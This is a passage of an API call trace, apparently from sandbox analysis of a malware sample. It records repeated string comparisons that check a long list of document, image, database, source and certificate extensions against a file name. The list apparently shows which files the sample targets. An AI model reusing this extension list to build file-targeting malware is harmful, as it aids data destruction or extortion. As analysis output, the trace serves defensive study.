[0085.769] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0085.769] lstrlenW (lpString=".ai4") returned 4 [0085.769] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0085.769] lstrlenW (lpString=".ai5") returned 4 [0085.769] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0085.769] lstrlenW (lpString=".ai6") returned 4 [0085.770] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0085.770] lstrlenW (lpString=".ai7") returned 4 [0085.770] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0085.770] lstrlenW (lpString=".ai8") returned 4 [0085.770] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0085.770] lstrlenW (lpString=".anim") returned 5 [0085.770] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0085.770] lstrlenW (lpString=".arw") returned 4 [0085.770] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0085.770] lstrlenW (lpString=".as") returned 3 [0085.770] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0085.770] lstrlenW (lpString=".asa") returned 4 [0085.770] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0085.770] lstrlenW (lpString=".asc") returned 4 [0085.770] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0085.770] lstrlenW (lpString=".ascx") returned 5 [0085.770] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0085.770] lstrlenW (lpString=".asm") returned 4 [0085.770] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0085.770] lstrlenW (lpString=".asmx") returned 5 [0085.770] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0085.770] lstrlenW (lpString=".asp") returned 4 [0085.771] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0085.771] lstrlenW (lpString=".aspx") returned 5 [0085.771] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0085.771] lstrlenW (lpString=".asr") returned 4 [0085.771] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0085.771] lstrlenW (lpString=".asx") returned 4 [0085.771] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0085.771] lstrlenW (lpString=".avi") returned 4 [0085.771] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0085.771] lstrlenW (lpString=".avs") returned 4 [0085.771] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0085.771] lstrlenW (lpString=".backup") returned 7 [0085.771] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0085.771] lstrlenW (lpString=".bak") returned 4 [0085.771] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0085.771] lstrlenW (lpString=".bay") returned 4 [0085.771] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0085.771] lstrlenW (lpString=".bd") returned 3 [0085.771] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0085.771] lstrlenW (lpString=".bin") returned 4 [0085.771] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0085.771] lstrlenW (lpString=".bmp") returned 4 [0085.771] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0085.771] lstrlenW (lpString=".bz2") returned 4 [0085.771] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0085.771] lstrlenW (lpString=".c") returned 2 [0085.771] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0085.772] lstrlenW (lpString=".cdr") returned 4 [0085.772] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0085.772] lstrlenW (lpString=".cer") returned 4 [0085.772] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0085.772] lstrlenW (lpString=".cf") returned 3 [0085.772] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0085.772] lstrlenW (lpString=".cfc") returned 4 [0085.772] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0085.772] lstrlenW (lpString=".cfm") returned 4 [0085.772] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0085.772] lstrlenW (lpString=".cfml") returned 5 [0085.772] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0085.772] lstrlenW (lpString=".cfu") returned 4 [0085.772] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0085.772] lstrlenW (lpString=".chm") returned 4 [0085.772] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0085.772] lstrlenW (lpString=".cin") returned 4 [0085.772] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0085.772] lstrlenW (lpString=".class") returned 6 [0085.772] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0085.772] lstrlenW (lpString=".clx") returned 4 [0085.772] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0085.772] lstrlenW (lpString=".config") returned 7 [0085.772] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0085.772] lstrlenW (lpString=".cpp") returned 4 [0085.772] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0085.772] lstrlenW (lpString=".cr2") returned 4 [0085.773] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0085.773] lstrlenW (lpString=".crt") returned 4 [0085.773] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0085.773] lstrlenW (lpString=".crw") returned 4 [0085.773] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0085.773] lstrlenW (lpString=".cs") returned 3 [0085.773] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0085.773] lstrlenW (lpString=".css") returned 4 [0085.773] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0085.773] lstrlenW (lpString=".csv") returned 4 [0085.773] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0085.773] lstrlenW (lpString=".cub") returned 4 [0085.773] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0085.773] lstrlenW (lpString=".dae") returned 4 [0085.773] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0085.773] lstrlenW (lpString=".dat") returned 4 [0085.773] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0085.773] lstrlenW (lpString=".db") returned 3 [0085.773] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0085.773] lstrlenW (lpString=".dbf") returned 4 [0085.773] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0085.773] lstrlenW (lpString=".dbx") returned 4 [0085.773] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0085.773] lstrlenW (lpString=".dc3") returned 4 [0085.773] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0085.773] lstrlenW (lpString=".dcm") returned 4 [0085.773] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0085.774] lstrlenW (lpString=".dcr") returned 4 [0085.774] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0085.774] lstrlenW (lpString=".der") returned 4 [0085.774] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0085.774] lstrlenW (lpString=".dib") returned 4 [0085.774] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0085.774] lstrlenW (lpString=".dic") returned 4 [0085.774] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0085.774] lstrlenW (lpString=".dif") returned 4 [0085.774] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0085.774] lstrlenW (lpString=".divx") returned 5 [0085.774] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0085.774] lstrlenW (lpString=".djvu") returned 5 [0085.774] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0085.774] lstrlenW (lpString=".dng") returned 4 [0085.774] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0085.774] lstrlenW (lpString=".doc") returned 4 [0085.774] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0085.774] lstrlenW (lpString=".docm") returned 5 [0085.774] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0085.774] lstrlenW (lpString=".docx") returned 5 [0085.774] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0085.774] lstrlenW (lpString=".dot") returned 4 [0085.774] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0085.774] lstrlenW (lpString=".dotm") returned 5 [0085.774] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0085.774] lstrlenW (lpString=".dotx") returned 5 [0085.775] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0085.775] lstrlenW (lpString=".dpx") returned 4 [0085.775] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0085.775] lstrlenW (lpString=".dqy") returned 4 [0085.775] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0085.775] lstrlenW (lpString=".dsn") returned 4 [0085.775] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0085.775] lstrlenW (lpString=".dt") returned 3 [0085.775] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0085.775] lstrlenW (lpString=".dtd") returned 4 [0085.775] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0085.775] lstrlenW (lpString=".dwg") returned 4 [0085.775] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0085.775] lstrlenW (lpString=".dwt") returned 4 [0085.775] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0085.775] lstrlenW (lpString=".dx") returned 3 [0085.775] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0085.775] lstrlenW (lpString=".dxf") returned 4 [0085.775] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0085.775] lstrlenW (lpString=".edml") returned 5 [0085.775] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0085.775] lstrlenW (lpString=".efd") returned 4 [0085.775] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0085.775] lstrlenW (lpString=".elf") returned 4 [0085.775] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0085.775] lstrlenW (lpString=".emf") returned 4 [0085.776] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0085.776] lstrlenW (lpString=".emz") returned 4 [0085.776] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0085.776] lstrlenW (lpString=".epf") returned 4 [0085.776] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0085.776] lstrlenW (lpString=".eps") returned 4 [0085.776] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0085.776] lstrlenW (lpString=".epsf") returned 5 [0085.776] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0085.776] lstrlenW (lpString=".epsp") returned 5 [0085.776] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0085.776] lstrlenW (lpString=".erf") returned 4 [0085.776] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0085.776] lstrlenW (lpString=".exr") returned 4 [0085.776] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0085.776] lstrlenW (lpString=".f4v") returned 4 [0085.776] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0085.776] lstrlenW (lpString=".fido") returned 5 [0085.776] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0085.776] lstrlenW (lpString=".flm") returned 4 [0085.776] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0085.776] lstrlenW (lpString=".flv") returned 4 [0085.776] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0085.776] lstrlenW (lpString=".frm") returned 4 [0085.776] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0085.776] lstrlenW (lpString=".fxg") returned 4 [0085.776] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0085.777] lstrlenW (lpString=".geo") returned 4 [0085.777] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0085.777] lstrlenW (lpString=".gif") returned 4 [0085.777] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0085.777] lstrlenW (lpString=".grs") returned 4 [0085.777] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0085.777] lstrlenW (lpString=".gz") returned 3 [0085.777] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0085.777] lstrlenW (lpString=".h") returned 2 [0085.777] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0085.777] lstrlenW (lpString=".hdr") returned 4 [0085.777] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0085.777] lstrlenW (lpString=".hpp") returned 4 [0085.777] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0085.777] lstrlenW (lpString=".hta") returned 4 [0085.777] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0085.777] lstrlenW (lpString=".htc") returned 4 [0085.777] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0085.777] lstrlenW (lpString=".htm") returned 4 [0085.777] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0085.777] lstrlenW (lpString=".html") returned 5 [0085.777] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0085.777] lstrlenW (lpString=".icb") returned 4 [0085.777] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0085.777] lstrlenW (lpString=".ics") returned 4 [0085.777] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0085.777] lstrlenW (lpString=".iff") returned 4 [0085.778] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0085.778] lstrlenW (lpString=".inc") returned 4 [0085.778] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0085.778] lstrlenW (lpString=".indd") returned 5 [0085.778] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0085.778] lstrlenW (lpString=".ini") returned 4 [0085.778] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0085.778] lstrlenW (lpString=".iqy") returned 4 [0085.778] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0085.778] lstrlenW (lpString=".j2c") returned 4 [0085.778] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0085.778] lstrlenW (lpString=".j2k") returned 4 [0085.778] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0085.778] lstrlenW (lpString=".java") returned 5 [0085.778] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0085.778] lstrlenW (lpString=".jp2") returned 4 [0085.778] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0085.778] lstrlenW (lpString=".jpc") returned 4 [0085.778] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0085.778] lstrlenW (lpString=".jpe") returned 4 [0085.778] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0085.778] lstrlenW (lpString=".jpeg") returned 5 [0085.778] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0085.778] lstrlenW (lpString=".jpf") returned 4 [0085.778] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0085.778] lstrlenW (lpString=".jpg") returned 4 [0085.779] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0085.779] lstrlenW (lpString=".jpx") returned 4 [0085.779] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0085.779] lstrlenW (lpString=".js") returned 3 [0085.779] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0085.779] lstrlenW (lpString=".jsf") returned 4 [0085.779] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0085.779] lstrlenW (lpString=".json") returned 5 [0085.779] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0085.779] lstrlenW (lpString=".jsp") returned 4 [0085.779] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0085.779] lstrlenW (lpString=".kdc") returned 4 [0085.779] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0085.779] lstrlenW (lpString=".kmz") returned 4 [0085.779] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0085.779] lstrlenW (lpString=".kwm") returned 4 [0085.779] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0085.779] lstrlenW (lpString=".lasso") returned 6 [0085.779] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0085.779] lstrlenW (lpString=".lbi") returned 4 [0085.779] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0085.779] lstrlenW (lpString=".lgf") returned 4 [0085.779] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0085.779] lstrlenW (lpString=".lgp") returned 4 [0085.779] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0085.779] lstrlenW (lpString=".log") returned 4 [0085.780] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0085.780] lstrlenW (lpString=".m1v") returned 4 [0085.780] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0085.780] lstrlenW (lpString=".m4a") returned 4 [0085.780] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0085.780] lstrlenW (lpString=".m4v") returned 4 [0085.780] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0085.780] lstrlenW (lpString=".max") returned 4 [0085.780] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0085.780] lstrlenW (lpString=".md") returned 3 [0085.780] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0085.780] lstrlenW (lpString=".mda") returned 4 [0085.780] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0085.780] lstrlenW (lpString=".mdb") returned 4 [0085.780] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0085.780] lstrlenW (lpString=".mde") returned 4 [0085.780] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0085.780] lstrlenW (lpString=".mdf") returned 4 [0085.780] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0085.780] lstrlenW (lpString=".mdw") returned 4 [0085.780] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0085.780] lstrlenW (lpString=".mef") returned 4 [0085.780] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0085.780] lstrlenW (lpString=".mft") returned 4 [0085.780] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0085.780] lstrlenW (lpString=".mfw") returned 4 [0085.780] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0085.781] lstrlenW (lpString=".mht") returned 4 [0085.781] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0085.781] lstrlenW (lpString=".mhtml") returned 6 [0085.781] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0085.781] lstrlenW (lpString=".mka") returned 4 [0085.781] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0085.781] lstrlenW (lpString=".mkidx") returned 6 [0085.781] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0085.781] lstrlenW (lpString=".mkv") returned 4 [0085.781] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0085.781] lstrlenW (lpString=".mos") returned 4 [0085.781] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0085.781] lstrlenW (lpString=".mov") returned 4 [0085.781] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0085.781] lstrlenW (lpString=".mp3") returned 4 [0085.781] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0085.781] lstrlenW (lpString=".mp4") returned 4 [0085.781] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0085.781] lstrlenW (lpString=".mpeg") returned 5 [0085.781] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0085.781] lstrlenW (lpString=".mpg") returned 4 [0085.781] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0085.781] lstrlenW (lpString=".mpv") returned 4 [0085.781] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0085.781] lstrlenW (lpString=".mrw") returned 4 [0085.781] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0085.781] lstrlenW (lpString=".msg") returned 4 [0085.782] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0085.782] lstrlenW (lpString=".mxl") returned 4 [0085.782] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0085.782] lstrlenW (lpString=".myd") returned 4 [0085.782] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0085.782] lstrlenW (lpString=".myi") returned 4 [0085.782] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0085.782] lstrlenW (lpString=".nef") returned 4 [0085.782] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0085.782] lstrlenW (lpString=".nrw") returned 4 [0085.782] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0085.782] lstrlenW (lpString=".obj") returned 4 [0085.782] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0085.782] lstrlenW (lpString=".odb") returned 4 [0085.782] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0085.782] lstrlenW (lpString=".odc") returned 4 [0085.782] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0085.782] lstrlenW (lpString=".odm") returned 4 [0085.782] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0085.782] lstrlenW (lpString=".odp") returned 4 [0085.782] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0085.782] lstrlenW (lpString=".ods") returned 4 [0085.782] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0085.782] lstrlenW (lpString=".oft") returned 4 [0085.782] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0085.782] lstrlenW (lpString=".one") returned 4 [0085.783] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0085.783] lstrlenW (lpString=".onepkg") returned 7 [0085.783] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0085.783] lstrlenW (lpString=".onetoc2") returned 8 [0085.783] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0085.783] lstrlenW (lpString=".opt") returned 4 [0085.783] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0085.783] lstrlenW (lpString=".oqy") returned 4 [0085.783] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0085.783] lstrlenW (lpString=".orf") returned 4 [0085.783] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0085.783] lstrlenW (lpString=".p12") returned 4 [0085.783] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0085.783] lstrlenW (lpString=".p7b") returned 4 [0085.783] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0085.783] lstrlenW (lpString=".p7c") returned 4 [0085.783] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0085.783] lstrlenW (lpString=".pam") returned 4 [0085.783] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0085.783] lstrlenW (lpString=".pbm") returned 4 [0085.783] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0085.783] lstrlenW (lpString=".pct") returned 4 [0085.783] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0085.783] lstrlenW (lpString=".pcx") returned 4 [0085.783] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0085.783] lstrlenW (lpString=".pdd") returned 4 [0085.784] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0085.784] lstrlenW (lpString=".pdf") returned 4 [0085.784] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0085.784] lstrlenW (lpString=".pdp") returned 4 [0085.784] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0085.784] lstrlenW (lpString=".pef") returned 4 [0085.784] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0085.784] lstrlenW (lpString=".pem") returned 4 [0085.784] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0085.784] lstrlenW (lpString=".pff") returned 4 [0085.784] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0085.784] lstrlenW (lpString=".pfm") returned 4 [0085.784] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0085.784] lstrlenW (lpString=".pfx") returned 4 [0085.784] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0085.784] lstrlenW (lpString=".pgm") returned 4 [0085.784] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0085.784] lstrlenW (lpString=".php") returned 4 [0085.784] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0085.784] lstrlenW (lpString=".php3") returned 5 [0085.784] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0085.784] lstrlenW (lpString=".php4") returned 5 [0085.784] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0085.784] lstrlenW (lpString=".php5") returned 5 [0085.784] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0085.785] lstrlenW (lpString=".phtml") returned 6 [0085.785] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0085.785] lstrlenW (lpString=".pict") returned 5 [0085.785] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0085.785] lstrlenW (lpString=".pl") returned 3 [0085.785] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0085.785] lstrlenW (lpString=".pls") returned 4 [0085.785] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0085.785] lstrlenW (lpString=".pm") returned 3 [0085.785] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0085.785] lstrlenW (lpString=".png") returned 4 [0085.785] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0085.785] lstrlenW (lpString=".pnm") returned 4 [0085.785] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0085.785] lstrlenW (lpString=".pot") returned 4 [0085.786] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0085.786] lstrlenW (lpString=".potm") returned 5 [0085.786] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0085.786] lstrlenW (lpString=".potx") returned 5 [0085.786] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0085.786] lstrlenW (lpString=".ppa") returned 4 [0085.786] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0085.786] lstrlenW (lpString=".ppam") returned 5 [0085.786] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0085.786] lstrlenW (lpString=".ppm") returned 4 [0085.786] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0085.786] lstrlenW (lpString=".pps") returned 4 [0085.786] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0085.786] lstrlenW (lpString=".ppsm") returned 5 [0085.786] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0085.786] lstrlenW (lpString=".ppt") returned 4 [0085.786] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0085.786] lstrlenW (lpString=".pptm") returned 5 [0085.786] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0085.786] lstrlenW (lpString=".pptx") returned 5 [0085.786] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0085.786] lstrlenW (lpString=".prn") returned 4 [0085.786] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0085.786] lstrlenW (lpString=".ps") returned 3 [0085.786] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0085.786] lstrlenW (lpString=".psb") returned 4 [0085.786] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0085.787] lstrlenW (lpString=".psd") returned 4 [0085.787] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0085.787] lstrlenW (lpString=".pst") returned 4 [0085.787] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0085.787] lstrlenW (lpString=".ptx") returned 4 [0085.787] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0085.787] lstrlenW (lpString=".pub") returned 4 [0085.787] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0085.787] lstrlenW (lpString=".pwm") returned 4 [0085.787] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0085.787] lstrlenW (lpString=".pxr") returned 4 [0085.787] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0085.787] lstrlenW (lpString=".py") returned 3 [0085.787] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 